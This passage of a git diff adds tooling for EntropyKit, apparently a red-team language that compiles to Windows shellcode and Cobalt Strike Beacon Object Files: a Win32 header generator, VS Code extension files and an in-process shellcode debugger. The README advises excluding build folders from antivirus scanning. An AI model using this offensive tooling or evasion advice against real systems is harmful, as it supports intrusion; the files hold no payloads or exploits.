args.out.display()); + Ok(()) +} + +// ---------------------------------------------------------------------------- +// CLI +// ---------------------------------------------------------------------------- + +struct Args { + winmd: PathBuf, + out: PathBuf, + namespaces: Vec, +} + +impl Args { + fn parse(it: impl IntoIterator) -> Result { + let mut winmd: Option = None; + let mut out: Option = None; + let mut namespaces: Vec = Vec::new(); + let mut it = it.into_iter(); + while let Some(arg) = it.next() { + match arg.as_str() { + "--winmd" => winmd = Some(PathBuf::from(it.next().ok_or("--winmd needs a path")?)), + "--out" | "-o" => out = Some(PathBuf::from(it.next().ok_or("--out needs a path")?)), + "--namespace" | "-n" => { + namespaces.push(it.next().ok_or("--namespace needs a value")?); + } + "--help" | "-h" => { print_help(); std::process::exit(0); } + other => return Err(format!("unknown argument: {other}")), + } + } + Ok(Args { + winmd: winmd.ok_or("--winmd is required".to_string())?, + out: out.unwrap_or_else(|| PathBuf::from("stdlib/win32")), + namespaces, + }) + } +} + +fn print_help() { + eprintln!("Usage: entc-win32gen --winmd [--out ] [--namespace ]*"); + eprintln!(); + eprintln!(" --winmd Path to Windows.Win32.winmd"); + eprintln!(" --out, -o Output directory (default: stdlib/win32)"); + eprintln!(" --namespace, -n Generate this namespace (repeatable)."); + eprintln!(" Defaults to a curated red-team subset."); +} + +// ---------------------------------------------------------------------------- +// per-namespace emission +// ---------------------------------------------------------------------------- + +#[derive(Default)] +struct NsStats { + structs: usize, + constants: usize, + skipped: Vec, +} + +fn emit_namespace(index: &TypeIndex, namespace: &str, out_dir: &Path) -> Result { + let mut stats = NsStats::default(); + let mut buf = String::new(); + write_preamble(&mut buf, namespace); + + // Two passes: constants first (so the header reads top-down naturally), + // then structs. Each namespace's `Apis` pseudo-class collects the loose + // `#define`-equivalents; its other fields are the actual types. + let types: Vec = index + .iter() + .filter(|(ns, _, _)| *ns == namespace) + .map(|(_, _, td)| td) + .collect(); + + if types.is_empty() { + // Namespace not in the supplied WinMD - write a minimal file with + // a marker so the user can tell the difference between "skipped" + // and "no such namespace". + writeln!(buf, "// (namespace `{namespace}` not present in the supplied WinMD)").ok(); + fs::write(out_dir.join(filename_for_namespace(namespace)), buf) + .map_err(|e| format!("write: {e}"))?; + return Ok(stats); + } + + // Pass 1: constants (from the Apis pseudo-class and from enum members). + // Duplicates inside one namespace are common - e.g. an enum member that + // also appears as a loose Apis constant. Dedupe within this file; cross- + // file collisions are tolerated by the EntropyKit codegen (first wins). + let mut seen_constants: std::collections::HashSet = std::collections::HashSet::new(); + for td in &types { + if td.name() == "Apis" { + for f in td.fields() { + if let Some(c) = f.constant() { + if seen_constants.insert(f.name().to_string()) { + emit_constant(&mut buf, f.name(), &c.value()); + stats.constants += 1; + } + } + } + } + } + for td in &types { + if td.category() != TypeCategory::Enum { continue; } + for f in td.fields() { + // Skip the synthetic `value__` field (the underlying storage). + if f.name() == "value__" { continue; } + if let Some(c) = f.constant() { + if seen_constants.insert(f.name().to_string()) { + emit_constant(&mut buf, f.name(), &c.value()); + stats.constants += 1; + } + } + } + } + if stats.constants > 0 { writeln!(buf).ok(); } + + // Pass 2: structs. WinMD often carries multiple architecture-specific + // copies of the same struct (e.g. WSADATA has both an x64 and an x86 + // layout). The cimport parser would reject the duplicate; keep only + // the first occurrence and note the rest. + let mut seen_names: std::collections::HashSet = std::collections::HashSet::new(); + for td in &types { + if td.category() != TypeCategory::Struct { continue; } + let name = td.name(); + if !seen_names.insert(name.to_string()) { + writeln!(buf, "// duplicate struct {name} - keeping first definition").ok(); + continue; + } + match try_emit_struct(&mut buf, *td) { + Ok(()) => stats.structs += 1, + Err(reason) => { + writeln!(buf, "// SKIPPED struct {name}: {reason}").ok(); + stats.skipped.push(format!("struct {name}: {reason}")); + } + } + } + + let path = out_dir.join(filename_for_namespace(namespace)); + fs::write(&path, buf).map_err(|e| format!("writing {}: {e}", path.display()))?; + eprintln!( + " {namespace} -> {} ({} structs, {} constants, {} skipped)", + path.display(), stats.structs, stats.constants, stats.skipped.len() + ); + Ok(stats) +} + +fn filename_for_namespace(ns: &str) -> String { + let last = ns.rsplit('.').next().unwrap_or(ns).to_ascii_lowercase(); + format!("{last}.h") +} + +fn write_preamble(buf: &mut String, namespace: &str) { + writeln!(buf, "// Generated by entc-win32gen from `{namespace}`.").ok(); + writeln!(buf, "// Do not edit by hand. Re-run the generator to refresh.").ok(); + writeln!(buf).ok(); + // Common typedef'd integer aliases the rest of the file will reference. + writeln!(buf, "typedef unsigned char BYTE;").ok(); + writeln!(buf, "typedef unsigned short WORD;").ok(); + writeln!(buf, "typedef unsigned long DWORD;").ok(); + writeln!(buf, "typedef unsigned long long ULONGLONG;").ok(); + writeln!(buf, "typedef long LONG;").ok(); + writeln!(buf, "typedef unsigned long ULONG;").ok(); + writeln!(buf, "typedef int BOOL;").ok(); + writeln!(buf, "typedef void* PVOID;").ok(); + writeln!(buf, "typedef void* HANDLE;").ok(); + writeln!(buf).ok(); +} + +fn emit_constant(buf: &mut String, name: &str, value: &Value) { + match value { + Value::U8(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I8(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U16(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I16(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U32(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I32(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U64(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I64(n) => { writeln!(buf, "#define {name} {n}").ok(); } + _ => { writeln!(buf, "// SKIPPED const {name}: non-integer constant").ok(); } + } +} + +fn try_emit_struct(buf: &mut String, td: TypeDef) -> Result<(), String> { + let name = td.name(); + let mut fields: Vec<(String, String, Option)> = Vec::new(); + for f in td.fields() { + if f.constant().is_some() { continue; } // const-in-struct, not a field + let fname = f.name().to_string(); + let (mapped, array_len) = map_field_type(&f)?; + fields.push((fname, mapped, array_len)); + } + if fields.is_empty() { + return Err("no representable fields".into()); + } + + writeln!(buf, "typedef struct _{name} {{").ok(); + for (fname, fty, array_len) in &fields { + match array_len { + Some(n) => writeln!(buf, " {fty} {fname}[{n}];").ok(), + None => writeln!(buf, " {fty} {fname};").ok(), + }; + } + writeln!(buf, "}} {name};").ok(); + writeln!(buf).ok(); + Ok(()) +} + +/// Map a single struct field's metadata Type to a C-subset type name our +/// cimport parser accepts plus an optional array length to attach as a +/// `[N]` suffix on the field name in the emitted C. +fn map_field_type(f: &Field) -> Result<(String, Option), String> { + let ty = f.ty(); + if let Type::ArrayFixed(elem, n) = &ty { + let elem_ty = map_type(elem)?; + return Ok((elem_ty, Some(*n))); + } + let mapped = map_type(&ty)?; + Ok((mapped, None)) +} + +fn map_type(ty: &Type) -> Result { + Ok(match ty { + Type::Void => "void".into(), + Type::Bool => "BOOL".into(), + Type::Char => "unsigned short".into(), // WCHAR + Type::I8 => "signed char".into(), + Type::U8 => "unsigned char".into(), + Type::I16 => "short".into(), + Type::U16 => "unsigned short".into(), + Type::I32 => "int".into(), + Type::U32 => "unsigned int".into(), + Type::I64 => "long long".into(), + Type::U64 => "unsigned long long".into(), + Type::F32 | Type::F64 => return Err("floating-point fields not supported".into()), + Type::ISize => "long long".into(), + Type::USize => "unsigned long long".into(), + Type::String | Type::Object | Type::AttributeEnum => "void*".into(), + // Pointers always collapse to void* (cimport stores as u64). + Type::PtrMut(_, _) | Type::PtrConst(_, _) => "void*".into(), + // Nested ArrayFixed inside another type - uncommon. Collapse to + // the element type and accept that we lose the inner length; + // the outer struct's overall size will likely still be correct + // because the outer field-array path catches the common case. + Type::ArrayFixed(elem, _) => map_type(elem)?, + // Named types - struct/enum/typedef references. The named-type + // resolver below handles Win32 integer aliases inline so they + // map to plain-C int spellings; everything else flows through + // as an opaque pointer-sized typedef. + Type::Name(name) => map_named_type(name), + Type::Array(_) | Type::ArrayRef(_) => return Err("variable-size arrays not supported".into()), + Type::Generic(_) | Type::RefMut(_) | Type::RefConst(_) => { + return Err("generic/ref types not supported".into()); + } + }) +} + +/// Resolve common Win32 type aliases to their plain-C spelling so the +/// emitted header is self-contained. Anything we don't recognise becomes a +/// `void*` opaque field (matches Win32 ABI for handles/pointer typedefs). +fn map_named_type(name: &TypeName) -> String { + if name.namespace == "Windows.Win32.Foundation" { + match name.name.as_str() { + "BOOL" | "BOOLEAN" => return "BOOL".into(), + "BYTE" | "CHAR" | "UCHAR" => return "unsigned char".into(), + "WCHAR" | "WORD" | "USHORT" | "UINT16" => return "unsigned short".into(), + "SHORT" | "INT16" => return "short".into(), + "DWORD" | "ULONG" | "UINT" | "UINT32" => return "unsigned int".into(), + "LONG" | "INT" | "INT32" + | "HRESULT" | "NTSTATUS" => return "int".into(), + "ULONGLONG" | "UINT64" | "DWORDLONG" => return "unsigned long long".into(), + "LONGLONG" | "INT64" => return "long long".into(), + // PSTR / handle-like aliases all flow to void* below. + _ => {} + } + } + // Anything else - handle, pointer alias, struct ref - opaque void*. + "void*".into() +} + +fn write_index(out_dir: &Path, summary: &[(String, NsStats)]) -> Result<(), String> { + let path = out_dir.join("index.md"); + let mut buf = String::new(); + writeln!(buf, "# Generated Win32 headers").ok(); + writeln!(buf).ok(); + writeln!(buf, "Produced by `entc-win32gen`. Each row is one namespace.").ok(); + writeln!(buf).ok(); + writeln!(buf, "| Namespace | File | Structs | Constants | Skipped |").ok(); + writeln!(buf, "|---|---|---:|---:|---:|").ok(); + let mut total_skipped: BTreeMap> = BTreeMap::new(); + for (ns, s) in summary { + writeln!(buf, "| {ns} | `{}` | {} | {} | {} |", + filename_for_namespace(ns), s.structs, s.constants, s.skipped.len()).ok(); + if !s.skipped.is_empty() { total_skipped.insert(ns.clone(), s.skipped.clone()); } + } + if !total_skipped.is_empty() { + writeln!(buf).ok(); + writeln!(buf, "## Skipped types").ok(); + for (ns, items) in &total_skipped { + writeln!(buf).ok(); + writeln!(buf, "### {ns}").ok(); + for it in items { writeln!(buf, "- {it}").ok(); } + } + } + fs::write(&path, buf).map_err(|e| format!("writing index: {e}"))?; + Ok(()) +} diff --git a/tools/entc-win32gen/winmd/Windows.Win32.winmd b/tools/entc-win32gen/winmd/Windows.Win32.winmd new file mode 100644 index 0000000..d056ade Binary files /dev/null and b/tools/entc-win32gen/winmd/Windows.Win32.winmd differ diff --git a/tools/entc-win32gen/winmd/win32metadata.nupkg b/tools/entc-win32gen/winmd/win32metadata.nupkg new file mode 100644 index 0000000..eb7bda8 Binary files /dev/null and b/tools/entc-win32gen/winmd/win32metadata.nupkg differ diff --git a/tools/vscode-entropykit/README.md b/tools/vscode-entropykit/README.md new file mode 100644 index 0000000..38998cb --- /dev/null +++ b/tools/vscode-entropykit/README.md @@ -0,0 +1,169 @@ +# EntropyKit VS Code extension + +Syntax highlighting **and a source-level debugger** for `.etpy`. +Press F5 on any `.etpy` - the debugger auto-detects shellcode vs BOF +from the source, rebuilds, then steps the execution arrow through +your `.etpy` as the artifact actually runs. + +## Debugger quick-start + +```sh +# 1. Build the compiler + debug backend. +cargo build --release -p entropykit # entc +cargo build --release -p entc-debug # entc-debug.exe + +# 2. Install the extension (picks up entc-debug.exe automatically). +cd tools/vscode-entropykit +python build.py install + +# 3. Open any .etpy in VS Code and press F5. +``` + +That's it - no manual `entc compile` step. The default launch config +passes the active editor's path as `program`. The adapter: + +1. **Detects the build kind**: scans the source for `fn go(...)` to + BOF, `fn main(...)` to shellcode. +2. **Recompiles every launch**: forces `entc compile --debug + --type=` so the running `.obj`/`.bin` always matches + what's on screen. No more "F5 ran last week's binary." +3. **Loads the matching `.dbg` sidecar**, plants source-line breakpoints, + and traces. + +If you'd rather skip the auto-rebuild (e.g. you're investigating a +prebuilt artifact someone else handed you), pick the **"Run pre-built +.bin/.obj (no rebuild)"** snippet when creating launch.json. + +### Reliability notes + +- `program: "${file}"` (the default) means F5 follows whatever you're + editing. Keep the `.etpy` tab focused when you press F5 - `${file}` + resolves to the active editor's path. +- The very first stop is at the first executable `.etpy` line + (`stopOnEntry: true`). That confirms the right file launched. If + the arrow doesn't land where you expect, the source path printed + in the Debug Console reveals which file was actually built. +- The adapter writes a `[entc-debug] launching as + BOF/shellcode (artifact: )` line at every launch - grep that + if you're not sure what ran. +- Defender flags BOF tooling. Add `/target/` and your example + folder to the AV exclusion list once and the F5 loop stops getting + randomly interrupted. + +What you can do at the breakpoint: + +- **F10** - step one source line. +- **F5** - continue to next breakpoint. +- **F9** in the gutter - set/clear a source-line breakpoint. The + debugger only stops at lines that have a planted `int 3` (= lines + the compiler emitted a statement at); breakpoints on whitespace or + declarations without code resolve to the nearest preceding stmt. +- **stopOnEntry**: defaults to true; the very first stop is at the + first executable `.etpy` line. Set `false` in launch.json to run + free until a user-set breakpoint hits. + +The debug session shows up in the *Debug Console* with `[output]` +events for anything the tracer prints. The shellcode's own +`Kernel32.OutputDebugStringA` calls still go to DebugView (the +tracer runs in-process, so those traverse the host kernel32, not +ours). + +## How the debugger works + +Architecture is in [tools/entc-debug/](../entc-debug/). Pipeline: + +``` +VS Code ──DAP──▶ entc-debug.exe (dap mode) ──MPSC──▶ tracer thread + ▲ │ │ + │ │ ▼ + └───────── stopped ─────┴────────── Stopped event ◀── VEH (int 3) +``` + +The tracer thread `VirtualAlloc`s an RWX buffer, plants `0xCC` +(`int 3`) at every source-mapped byte offset from the `.dbg` file, +registers a Vectored Exception Handler, then calls into the entry. +Each trap parks the tracer, the DAP server forwards a `stopped` +event to VS Code, and resumes when you press F5 / F10. + +Software-breakpoint restoration uses the classic +"restore + single-step + re-plant" dance, running in-process via a +Vectored Exception Handler. + +The `.bin` is byte-identical with or without `--debug`; debugging +is purely a property of the runtime tracer and the `.dbg` sidecar. + +## Syntax-highlighting features + +- Keywords: `fn`, `extern`, `var`, `static`, `struct`, `use_c`, `use`, `if`, `else`, `while`, `for`, `break`, `continue`, `ret`, `try`, `catch`, `raise`, `asm`, `macro`, `sizeof`. +- Types: `int`, `str`, `wstr`, `bool`, `void`, `char`, sized integers (`i8`..`u64`), plus user-declared struct types and pointer suffix (`T*`). +- Attributes: + - OPSEC overrides - `[Override(Bootstrap)]`, `[Override(Resolver)]`, `[Override(NtCall)]`. + - Aspect-oriented hooks - `[Hook("USER32$MessageBoxA")]`, `[NoHook]`, `[NoHook("Target")]` (string-literal arguments highlighted as strings). +- Namespaced calls split into "DLL" + "function" parts: `User32.MessageBoxA(...)`, `Kernel32.VirtualAlloc(...)`. +- Intrinsics highlighted as a separate scope: `mem.alloc`, `mem.copy`, `mem.collect`, `shared.get`, `shared.put`, `str.format`, `opsec.*` (legacy `gc.*` kept as a synonym). +- `str.format` placeholders (`{}`, `{d}`, `{x}`, `{X}`, `{u}`, `{s}`, `{p}`) and `{{` / `}}` escapes. +- Inline `asm { ... }` blocks - full coverage of the in-language assembler: + - Mnemonics - `mov`, `lea`, `push`, `pop`, `add`, `sub`, `inc`, `dec`, `neg`, `xor`, `and`, `or`, `not`, `cmp`, `test`, `call`, `jmp`, the conditional-jump family (`je`/`jne`/`jz`/`jnz`/`jl`/`jg`/`jle`/`jge`/`jb`/`ja`/`jbe`/`jae`), `ret`, `nop`, `syscall`, `int3`, `cld`, `db`. + - x86-64 GPRs + `rip` / `rflags`. + - `%name` operand references (locals, parameters, statics, local functions) - `%` punctuation + variable scope. + - Memory operands `[reg + idx*scale + disp]` with bracket scopes and inner register / number colouring. + - Asm-local labels - `loop_top:` declarations highlighted as `entity.name.label`. +- C-style operators: `++`, `--`, `+=`, `-=`, `*=`, `/=`, `%=`, `&=`, `|=`, `^=`, `<<=`, `>>=`, `==`, `!=`, `<=`, `>=`, `&&`, `||`, `<<`, `>>`, `|`, `^`, `~`, `&`, `*`, `->`. +- `use bof;` bareword import highlights the stdlib module name; `use_c "path.h";` and `use "path.etpy";` keep the string scope. +- `//` and `/* */` comments. Hex and decimal numerics. String escapes. + +## Install + +Two paths, both via the bundled Python script (no Node.js needed). + +### Local development install + +Copies the extension into your user VS Code extensions directory. Pick this if you're iterating on the grammar. + +```sh +python build.py install +``` + +Then reload VS Code: **Command Palette to "Developer: Reload Window"**. + +For VS Code Insiders: `python build.py install --insiders`. + +To remove: `python build.py uninstall`. +To inspect where it would go without writing: `python build.py status`. + +### Build a `.vsix` for sharing + +Produces a single shippable file you can hand to another operator and install via `code --install-extension`. + +```sh +python build.py vsix +# wrote entropykit-0.3.0.vsix (~1.2 MB - the bulk is entc-debug.exe) + +code --install-extension entropykit-0.3.0.vsix +``` + +The script hand-rolls the VSIX (it's a ZIP with a manifest), so you don't need `vsce` or any of the Node tooling. + +## Files + +``` +tools/vscode-entropykit/ +├── package.json extension manifest (language + grammar registration) +├── language-configuration.json comments, brackets, auto-closing pairs +├── syntaxes/ +│ └── entropykit.tmLanguage.json TextMate grammar - the rules driving highlighting +├── build.py install / uninstall / vsix / status +└── README.md you are here +``` + +## Adding a new keyword / operator / scope + +The grammar is `syntaxes/entropykit.tmLanguage.json`. Edit it, then re-run `python build.py install` and reload the VS Code window. New scopes appear immediately - no compiler restart needed. + +To inspect what scope a token is getting in the editor: open `.etpy` source, then **Command Palette to "Developer: Inspect Editor Tokens and Scopes"**. + +## Known gaps + +- No semantic-token provider (it's a pure TextMate grammar). For real "go to definition", "hover", or "rename", we'd need to ship an LSP server backed by the compiler. Not worth it until the language stabilises further. +- Capitalised identifiers in type position get the type colour. Mostly correct for our Win32-derived conventions, but pure-EntropyKit code with capitalised local names will look type-like. +- The `[Override(...)]` parser detects the syntactic shape, not the slot validity - the compiler is the authority on which slot names are accepted. diff --git a/tools/vscode-entropykit/build.py b/tools/vscode-entropykit/build.py new file mode 100644 index 0000000..e04ffae --- /dev/null +++ b/tools/vscode-entropykit/build.py @@ -0,0 +1,253 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +"""build.py - package and install the EntropyKit VS Code extension. + +No Node.js / vsce required. The `install` action drops the extension +files straight into your user-level VS Code extensions directory; the +`vsix` action hand-rolls a `.vsix` (which is just a ZIP with a manifest) +so you can ship the extension to other machines. + +Usage: + python build.py install # copy to ~/.vscode/extensions/ + python build.py install --insiders # ~/.vscode-insiders/extensions/ + python build.py uninstall # remove the installed copy + python build.py vsix # write entropykit-.vsix here + python build.py status # show install path + state + +After `install`, reload VS Code (Command Palette to +"Developer: Reload Window") to pick up the grammar. +""" + +import argparse +import json +import os +import shutil +import sys +import zipfile +from pathlib import Path + +HERE = Path(__file__).resolve().parent + +# Files that ship with the extension. Anything else in the directory +# (this script, build artifacts, the README header image, ...) stays out. +SHIPPED = [ + "package.json", + "language-configuration.json", + "README.md", + "syntaxes/entropykit.tmLanguage.json", + "icons/etpy.svg", +] + +# Extra binaries that get copied in alongside `SHIPPED` when present. +# The debugger registration in package.json points at +# `./bin/entc-debug.exe`; we look for it in the workspace's +# `target/release/` first, then `target/debug/`. Builds with neither +# fall back to syntax-only (debugger commands then fail with a clear +# "binary not found" - better than silently shipping a stale one). +DEBUG_BIN = "entc-debug.exe" +DEBUG_BIN_DEST = "bin/entc-debug.exe" + + +def read_manifest() -> dict: + """Pull the extension's identity out of package.json so the rest of + the script doesn't hard-code names that could drift.""" + with (HERE / "package.json").open(encoding="utf-8") as f: + return json.load(f) + + +def install_dir_name(manifest: dict) -> str: + publisher = manifest.get("publisher", "entropykit") + name = manifest["name"] + version = manifest["version"] + # VS Code expects `.-` (no underscores). + return f"{publisher}.{name}-{version}" + + +def vscode_ext_root(insiders: bool) -> Path: + """Locate the user's VS Code extensions directory. + + Order of precedence: + 1. `$VSCODE_EXTENSIONS` (explicit override). + 2. `--insiders` to `.vscode-insiders/extensions/`. + 3. Default `.vscode/extensions/` in the user's home. + """ + override = os.environ.get("VSCODE_EXTENSIONS") + if override: + return Path(override).expanduser() + base = ".vscode-insiders" if insiders else ".vscode" + if sys.platform == "win32": + home = Path(os.environ.get("USERPROFILE", str(Path.home()))) + else: + home = Path.home() + return home / base / "extensions" + + +def iter_shipped_files() -> list[Path]: + paths = [] + for rel in SHIPPED: + p = HERE / rel + if not p.exists(): + print(f"[warn] missing: {rel}", file=sys.stderr) + continue + paths.append(p) + return paths + + +def find_debug_bin() -> Path | None: + """Locate the freshly-built entc-debug.exe. We don't shell out to + cargo - the caller is expected to have run `cargo build -p + entc-debug` (or `--release`) themselves. Return None if neither + profile has it, so syntax-only installs still work.""" + workspace_root = HERE.parent.parent + for profile in ("release", "debug"): + candidate = workspace_root / "target" / profile / DEBUG_BIN + if candidate.exists(): + return candidate + return None + + +# ---------------------------------------------------------------- actions + +def do_install(insiders: bool) -> int: + manifest = read_manifest() + target = vscode_ext_root(insiders) / install_dir_name(manifest) + if target.exists(): + shutil.rmtree(target) + target.mkdir(parents=True) + for src in iter_shipped_files(): + rel = src.relative_to(HERE) + dst = target / rel + dst.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(src, dst) + # Optional debugger backend. + bin_src = find_debug_bin() + if bin_src is not None: + dst = target / DEBUG_BIN_DEST + dst.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(bin_src, dst) + print(f" + bundled {bin_src.name} from {bin_src.relative_to(HERE.parent.parent)}") + else: + print(f"[warn] no {DEBUG_BIN} found under target/{{release,debug}}/ - " + "F5 debugger will report 'program not found' until you run " + "`cargo build -p entc-debug` then re-install.") + print(f"installed {manifest['name']} v{manifest['version']} -> {target}") + print("reload VS Code (Command Palette -> 'Developer: Reload Window').") + return 0 + + +def do_uninstall(insiders: bool) -> int: + manifest = read_manifest() + target = vscode_ext_root(insiders) / install_dir_name(manifest) + if not target.exists(): + print(f"nothing installed at {target}") + return 0 + shutil.rmtree(target) + print(f"removed {target}") + return 0 + + +def do_status(insiders: bool) -> int: + manifest = read_manifest() + target = vscode_ext_root(insiders) / install_dir_name(manifest) + print(f"extension id : {install_dir_name(manifest)}") + print(f"source : {HERE}") + print(f"would install to : {target}") + print(f"currently installed: {'yes' if target.exists() else 'no'}") + return 0 + + +def do_vsix() -> int: + """Build a .vsix package by hand. A VSIX is a zip with: + /[Content_Types].xml + /extension.vsixmanifest + /extension/ + The official `vsce` does more (asset bundling, dependency walking) - + we cover the syntax-highlight-only case which is what we need.""" + manifest = read_manifest() + out = HERE / f"{manifest['name']}-{manifest['version']}.vsix" + + with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as z: + # 1. The Open Packaging Conventions content-types declaration. + z.writestr("[Content_Types].xml", _CONTENT_TYPES_XML) + # 2. The VSIX manifest VS Code reads at install time. + z.writestr("extension.vsixmanifest", _build_vsixmanifest(manifest)) + # 3. The actual extension files, namespaced under `extension/`. + for src in iter_shipped_files(): + arcname = "extension/" + str(src.relative_to(HERE)).replace("\\", "/") + z.write(src, arcname) + # 4. Optional debug backend. + bin_src = find_debug_bin() + if bin_src is not None: + z.write(bin_src, "extension/" + DEBUG_BIN_DEST) + print(f" + bundled {bin_src.name}") + else: + print(f"[warn] no {DEBUG_BIN} found - VSIX will install without debugger backend.") + + size_kb = out.stat().st_size / 1024 + print(f"wrote {out.name} ({size_kb:.1f} KB)") + print(f"install on any machine with: code --install-extension {out}") + return 0 + + +# ---------------------------------------------------------------- assets + +_CONTENT_TYPES_XML = """ + + + + + +""" + + +def _build_vsixmanifest(manifest: dict) -> str: + publisher = manifest.get("publisher", "entropykit") + name = manifest["name"] + version = manifest["version"] + display = manifest.get("displayName", name) + desc = manifest.get("description", "") + return f""" + + + + {display} + {desc} + Programming Languages + EntropyKit,shellcode,red team,syntax + + + + + + + + + +""" + + +# ---------------------------------------------------------------- entry + +def main(argv: list[str] | None = None) -> int: + p = argparse.ArgumentParser( + prog="build.py", + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + p.add_argument("action", choices=["install", "uninstall", "vsix", "status"]) + p.add_argument( + "--insiders", + action="store_true", + help="target .vscode-insiders instead of .vscode", + ) + args = p.parse_args(argv) + + if args.action == "install": return do_install(args.insiders) + if args.action == "uninstall": return do_uninstall(args.insiders) + if args.action == "status": return do_status(args.insiders) + if args.action == "vsix": return do_vsix() + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/vscode-entropykit/icons/etpy.svg b/tools/vscode-entropykit/icons/etpy.svg new file mode 100644 index 0000000..2015572 --- /dev/null +++ b/tools/vscode-entropykit/icons/etpy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tools/vscode-entropykit/language-configuration.json b/tools/vscode-entropykit/language-configuration.json new file mode 100644 index 0000000..98b3213 --- /dev/null +++ b/tools/vscode-entropykit/language-configuration.json @@ -0,0 +1,29 @@ +{ + "comments": { + "lineComment": "//", + "blockComment": ["/*", "*/"] + }, + "brackets": [ + ["{", "}"], + ["[", "]"], + ["(", ")"] + ], + "autoClosingPairs": [ + { "open": "{", "close": "}" }, + { "open": "[", "close": "]" }, + { "open": "(", "close": ")" }, + { "open": "\"", "close": "\"", "notIn": ["string"] }, + { "open": "/*", "close": " */", "notIn": ["string"] } + ], + "surroundingPairs": [ + ["{", "}"], + ["[", "]"], + ["(", ")"], + ["\"", "\""] + ], + "indentationRules": { + "increaseIndentPattern": "^.*\\{[^}\"']*$", + "decreaseIndentPattern": "^\\s*\\}.*$" + }, + "wordPattern": "[A-Za-z_][A-Za-z0-9_]*" +} diff --git a/tools/vscode-entropykit/package.json b/tools/vscode-entropykit/package.json new file mode 100644 index 0000000..b67b729 --- /dev/null +++ b/tools/vscode-entropykit/package.json @@ -0,0 +1,144 @@ +{ + "name": "entropykit", + "displayName": "EntropyKit", + "description": "Syntax highlighting + debugger for EntropyKit (.etpy) - a red-team-first compiled language that emits position-independent Windows x86-64 shellcode AND Cobalt Strike Beacon Object Files. F5 on a .etpy auto-detects BOF vs shellcode, recompiles, and steps the execution arrow through source.", + "version": "0.3.1", + "publisher": "entropykit", + "engines": { + "vscode": "^1.50.0" + }, + "categories": ["Programming Languages", "Debuggers"], + "contributes": { + "languages": [ + { + "id": "entropykit", + "aliases": ["EntropyKit", "entropykit"], + "extensions": [".etpy"], + "configuration": "./language-configuration.json", + "icon": { + "light": "./icons/etpy.svg", + "dark": "./icons/etpy.svg" + } + } + ], + "grammars": [ + { + "language": "entropykit", + "scopeName": "source.entropykit", + "path": "./syntaxes/entropykit.tmLanguage.json" + } + ], + "breakpoints": [ + { "language": "entropykit" } + ], + "debuggers": [ + { + "type": "entropykit", + "label": "EntropyKit (Shellcode / BOF)", + "windows": { "program": "./bin/entc-debug.exe" }, + "args": ["dap"], + "languages": ["entropykit"], + "configurationAttributes": { + "launch": { + "required": ["program"], + "properties": { + "program": { + "type": "string", + "description": "Path to a .etpy source (recommended) OR a compiled .bin/.x64.o/.obj/.coff. When pointed at a .etpy the adapter sniffs BOF (`fn go(...)`) vs shellcode (`fn main(...)`) from the source, rebuilds, then debugs the freshly-built artifact. When pointed at a compiled artifact the adapter loads it as-is unless `build: true` is set. `${file}` (the active editor's path) is the recommended value: F5 always traces whatever .etpy is open.", + "default": "${file}" + }, + "dbg": { + "type": "string", + "description": "Override path to the .dbg source map. Defaults to .dbg. Rarely needed - every `entc compile --debug` writes one.", + "default": "" + }, + "stopOnEntry": { + "type": "boolean", + "description": "Pause at the first .etpy statement instead of running to a user-set breakpoint. Highly recommended - it confirms the right file was actually launched.", + "default": true + }, + "build": { + "type": "boolean", + "description": "Force a rebuild before debugging. Implicit (and unavoidable) when `program` is a .etpy source: the adapter always rebuilds source-mode launches so the running artifact matches the editor. Only honoured for .bin/.x64.o/.obj/.coff `program` shapes.", + "default": false + }, + "source": { + "type": "string", + "description": "Override the .etpy source path when `program` is a compiled artifact. Defaults to the .etpy that sits next to `program`. Ignored when `program` is already a .etpy.", + "default": "" + }, + "entc": { + "type": "string", + "description": "Path to the `entc` compiler binary. If unset, the adapter walks up from the source file looking for `target/release/entc.exe` then `target/debug/entc.exe`.", + "default": "" + }, + "args": { + "type": "array", + "description": "Arguments handed to a BOF's `go(args, len)`. Mirrors the `bof-runner` CLI: pairs of flag + value, packed in Aggressor's `bof_pack` order. Flags: `--zarg STR` (zstring), `--iarg N` (big-endian int), `--sarg N` (big-endian short), `--barg @path` (binary blob), `--args RAW` (raw bytes, no length prefix). Ignored when the source compiles to shellcode.", + "items": { "type": "string" }, + "default": [] + } + } + } + }, + "initialConfigurations": [ + { + "type": "entropykit", + "request": "launch", + "name": "EntropyKit: trace current .etpy", + "program": "${file}", + "stopOnEntry": true + } + ], + "configurationSnippets": [ + { + "label": "EntropyKit: Trace current .etpy (auto-detect)", + "description": "F5 the active .etpy. The adapter auto-detects BOF vs shellcode from the source (`fn go(...)` => BOF, `fn main(...)` => shellcode), rebuilds, and traces. The recommended config for almost every workflow.", + "body": { + "type": "entropykit", + "request": "launch", + "name": "EntropyKit: trace current .etpy", + "program": "^\"\\${file}\"", + "stopOnEntry": true + } + }, + { + "label": "EntropyKit: Trace current .etpy (BOF with args)", + "description": "Same auto-detect flow, but with sample BOF args. Edit `args` to match your `go(args, len)` consumer.", + "body": { + "type": "entropykit", + "request": "launch", + "name": "EntropyKit: trace current .etpy (BOF)", + "program": "^\"\\${file}\"", + "stopOnEntry": true, + "args": ["--zarg", "hello"] + } + }, + { + "label": "EntropyKit: Run pre-built .bin (no rebuild)", + "description": "Run an already-compiled .bin shellcode artifact. Skip the rebuild - useful when investigating an artifact you didn't produce locally. Artifacts default to /bin/.", + "body": { + "type": "entropykit", + "request": "launch", + "name": "EntropyKit: prebuilt shellcode", + "program": "^\"\\${fileDirname}/bin/\\${fileBasenameNoExtension}.bin\"", + "stopOnEntry": true + } + }, + { + "label": "EntropyKit: Run pre-built .x64.o BOF (no rebuild)", + "description": "Run an already-compiled .x64.o BOF artifact. Skip the rebuild - useful when investigating an 